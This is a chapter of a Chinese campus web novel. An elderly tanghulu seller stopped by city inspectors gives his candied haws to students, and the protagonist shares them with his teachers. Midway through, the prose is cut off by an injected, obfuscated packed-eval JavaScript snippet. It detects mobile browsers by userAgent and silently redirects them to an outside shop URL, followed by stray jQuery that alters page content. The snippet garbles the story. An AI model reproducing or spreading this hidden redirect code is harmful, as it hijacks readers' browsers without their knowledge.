周四下午第二节，体育课。
孙老师吹了哨子，让全班绕操场跑三圈热身。三圈过后自由活动——男生大多冲向篮球场占场子，女生三两坐在看台上聊天，也有几个趁这个时间溜回教室赶作业。
苏晚柠选择了赶作业。她物理错题本上还有三道带电粒子在复合场中的偏转题没啃完，宋星燃给她画了受力分析图，但"自己算一遍才算自己的"——宋星燃的原话。她虽然觉得这句话有点站着说话不腰疼，还是老老实实回了教室。
宋星燃没走。他靠在操场西侧围墙边的单杠下面，手里翻着一本《庄子》，耳朵里塞着赵磊的MP3。十二月的操场空旷而安静，篮球场那边偶尔传来一声"好球"和球砸地的闷响，远处教学楼的窗户反射着下午偏斜的阳光，像一排整齐的灯。
然后他听到了一声叫卖——
"糖葫芦——新鲜的糖葫芦——"
声音不大，带着点苍老的沙哑，从围墙外面飘进来。宋星燃摘下一只耳机，偏头往围墙方向看了一眼。
操场西侧的围墙是铁栅栏式的，栏杆之间大约十五厘米的间距，能看见外面那条单车道的巷子。巷子对面是老居民楼的背面，常年没什么人走。此刻巷子里停着一辆自行车，车后座绑着一个草靶子，靶子上插满了糖葫芦，在阳光下亮晶晶的——山楂裹着琥珀色的糖壳，每一根都在发光。
骑车的是个老大爷，六十多岁，穿一件洗得发白的深蓝色棉袄，脸上皱纹很深。他把自行车靠在围墙栏杆边上，朝操场里望了一眼，又喊了一声——
"要不要来一根？两块。"
赵磊从篮球场上跑过来，满脸是汗，手里还夹着个篮球。他扒着栏杆往外看了一眼，眼睛亮了。
"大爷，给我来两根！"
"好嘞。"大爷从草靶子上拔下两根糖葫芦，从栏杆缝隙里递进来。赵磊接过，把篮球夹在腋下，腾出一只手从裤兜里摸出四个钢镚递了出去。
宋星燃也走了过来，看了一眼草靶子上剩下的——少说还有三四十根。
"大爷，您怎么在这儿卖？校门口人流量不大多了。"
大爷笑了笑，露出一口不太整齐的牙："校门口不让摆。这边偏，学生少，但下午有体育课——"
话没说完，巷口传来一声急刹车。
一辆白色皮卡车堵在了巷口。车门打开，下来两个穿制服的人——年轻的那个大概二十五六，年长的三十出头。皮卡车的车厢是敞篷的，专门用来装没收的东西。
大爷的表情没有任何变化。他甚至没有回头，只是慢慢地把草靶子上最后一根有点歪的糖葫芦正了正。
"老师傅——"年轻的城管走过来，语气不算凶，但很公事公办，"这儿不能摆摊。您知道吧？"
大爷点点头："知道。但没摆。"
"没摆？"年轻城管指了指自行车后座的草靶子，"那这是什么？"
"我送给他们吃的。"大爷说这话的时候，脸上甚至带了一点笑，"这一车都是送的——不收钱。我没卖。"
赵磊站在栏杆里面，手里的糖葫芦忽然变得有点烫手。他看了看宋星燃，宋星燃没说话，只是把手上的《庄子》合上了。
年轻城管愣了一下，看了看大爷，又看了看栏杆里面——操场上已经围过来四五个一班的学生，都是闻到糖葫芦的甜味跑过来的。
"大爷，"年长的城管开口了，语气比年轻的那个和缓一些，"我们不是为难您。但这片确实不让摆——不管您卖不卖，您在这儿就是占了道。车子和货我们先收着，您回头到队里交个处理费就拿回来。"
大爷还是笑："真是送的。你们要是不信，我现在一个一个给他们——总可以吧？"
两个城管对视了一眼。年轻的皱了皱眉，年长的摊了摊手："行。您送。送完了骑车走。"
大爷也不着急，把草靶子从自行车后座上解下来，捧在手里，转身面向栏杆。他一根一根地把糖葫芦从靶子上拔下来，从栏杆缝隙里递给围过来的学生——
"姑娘，给你。"
"小伙子，接着。"
"慢点慢点，别蹭到衣服上——"
他的动作不快，但很稳。每递出去一根，嘴角的笑意就深一分。草靶子越来越秃，学生们手里的糖葫芦越来越多。赵磊左手一根右手一根，怀里抱着篮球，篮球上不知道什么时候又搁了两根——他整个人看起来像一棵移动的糖葫芦树。
年轻城管站在旁边，没有动手。年长的那位点了一根烟，靠在皮卡车上，半眯着眼睛看。
最后糖葫芦靶子空了。大爷把光秃秃的草靶子重新绑回自行车后座，拍了拍手上的糖渣，朝栏杆里面的学生们摆了摆手——
"好吃不？"
几个女生嘴里塞着山楂，拼命点头。
"好吃就行。"
他跨上自行车，不紧不慢地从城管面前骑过去。经过皮卡车的时候还按了一下车铃——叮铃铃，像是在打招呼。
年轻城管看着他远去的背影，张了张嘴，最终什么都没说。他把烟头掐灭在地上，朝年长的那个摇了摇头。两人上车，发动皮卡，也开走了。
巷子重新安静下来。
操场上的气氛却彻底变了——十来个人人手一根糖葫芦，篮球场上也没人打球了，全围在单杠底下吃。
赵磊低头看着自己手里——左手一根，右手一根，怀里篮球上还搁着两根。他艰难地咽了一下口水："这糖葫芦还挺好吃。山楂新鲜，糖壳也脆。就是——咱手里剩这么多，咋整？"
宋星燃白了他一眼，从他篮球上拿起三根，又从旁边同学手里接过两根，总共凑了五六根。
然后他转头，朝操场中央的孙老师走过去，脸上的表情切换成了标准的"有事找老师"模式——热情、阳光、人畜无害。
"孙老师——请你吃糖葫芦！"
孙老师正在记考勤，抬头一看宋星燃举着一把糖葫芦朝自己走过来，愣了一下，然后皱眉。
"宋星燃——谁让你们上课买零食的？"
"不是买的。"宋星燃把糖葫芦往前一递，表情真诚得像在交物理作业，"刚才围墙外面有个大爷卖糖葫芦，被城管拦了。大爷说与其让城管收走，不如送给我们吃。操场上每人都有，都是送的。"
孙老师将信将疑地扫了一眼操场——果然，散落在操场各处的学生手里都捏着糖葫芦，有的已经咬了一半，有的在舔嘴角的糖渣。
他沉默了两秒，接过一根。
"嗯。山楂不错。"咬了一口之后，他点了点头。
"老师，我给张老师他们也分享下——"
孙老师看了他一眼。宋星燃手里的糖葫芦还举着——五六根，跟举着一束花似的。他想起上次月考成绩出来之后，张桂兰在教研室夸了一班整整十分钟，其中七分钟在夸宋星燃。
他挥了挥手："去吧去吧。跑步的时候别吃——小心扎嗓子。"
"谢谢老师！"
宋星燃转身就跑。从操场到教学楼的这条路他跑了无数次——晨跑、夜跑、课间操——但举着一把糖葫芦跑，是头一回。十二月的风有点冷，但糖葫芦的糖壳在风里微微化了一点，空气里飘着一股山楂和焦糖混在一起的甜味。
教学楼走廊里没什么人，这个点大家都在上课。他跑到教师办公室门口的时候微微有点喘——不是累的，是跑的。
门开着。他敲了敲门框。
里面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626842|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
坐了三四位老师。教物理的刘老师正对着电脑改卷子，抬头看见宋星燃手里那一把红艳艳的糖葫芦，扶了扶眼镜。
"哟——宋星燃？你这是什么阵仗？"
"老师好——糖葫芦。一人一根。"宋星燃走进去，挨个发。刘老师一根，教化学的王老师一根，语文教研组的李老师还没反应过来，手里已经被塞了一根。
刘老师接过来看了看，没急着吃，反而笑了："宋星燃，你上次月考理综两百八十五。最后那道实验题，单位换算错了，扣三分——我问你，你是不是故意的？"
宋星燃面不改色："粗心了。下次注意。"
"粗心？"刘老师咬了一口糖葫芦，嚼了两下，表情很微妙，"你宋星燃跟我说粗心——你去年物理竞赛省一等奖，你跟我说粗心？"
"老师，糖葫芦甜吗？"
"……甜。"刘老师低头看了看手里被咬了一口的糖葫芦，又看了看宋星燃那张永远看不出破绽的脸，最终叹了口气，"算了——反正七百零二也是年级第一。你下次认真点。"
"一定。"
王老师举着糖葫芦端详了一圈，然后抬头看宋星燃，眼神里带着点调侃："哟——宋星燃，这是贿赂老师啊？"
宋星燃迎着她的目光，表情切换得比翻书还快——从刚才对刘老师的"打太极式回避"，变成了一种带着少年气的正经，嘴角一翘，声音里有一点恰到好处的理直气壮：
"王老师，这哪是贿赂——这是最纯粹的师生情谊啊。"
办公室里的老师全笑了。刘老师笑得眼镜差点滑下来，王老师摇着头咬了一口糖葫芦，李老师一边笑一边擦了擦嘴角的糖渣。
张桂兰的声音从办公室里面传过来："——谁在贿赂我的人？"
她从里面那排工位站起来，手里拿着一叠作文本。看见宋星燃和他手里的糖葫芦，她先是一愣，然后眼底浮起一丝笑意——那种"又是你"的笑法。
"张老师。"宋星燃把最后一根糖葫芦递过去，"您吃——"
张桂兰接过来，没急着吃，先打量了一下宋星燃的脸色——跑过来的，有点喘，但精神状态很好。
"哪里来的？"
"体育课——围墙外面一个卖糖葫芦的大爷，被城管拦了。大爷说与其被收走不如送给我们吃。操场上每人都有。"
"城管没为难人吧？"
"没有。大爷说'我没卖，我送给他们吃的'——城管也不好说什么，走了。"
张桂兰沉默了一秒，然后低头看了一眼手里的糖葫芦，咬了一小口。
"嗯。山楂新鲜。"
"是。"
张桂兰嚼了两下，忽然话锋一转："你上次月考总分多少来着？"
"七百零二。"
"年级第一？"
"是。"
"第二名多少？"
"六百七十。领先三十二分。"
张桂兰点了点头，表情淡淡，但嘴角的弧度没藏住："行。体育课去吧——跑慢点，刚吃完东西别猛跑。"
"好。老师再见。"
宋星燃转身走出办公室。走廊里空荡荡的，他的脚步声在瓷砖地面上回响——不紧不慢，带着一种把事情办完了的踏实感。
他下楼的时候经过二楼走廊的窗户，正好能看见操场。赵磊正在篮球场上表演"一只手运球一只手拿糖葫芦"——运球的节奏没问题，但糖葫芦的糖壳甩到了他校服袖子上，旁边几个男生笑成一团。孙老师站在一旁，嘴里叼着一根竹签，表情介于"你们真能折腾"和"算了随你们吧"之间。
十二月的阳光斜斜地照在操场上，糖葫芦的红和校服的蓝白混在一起，像一幅画。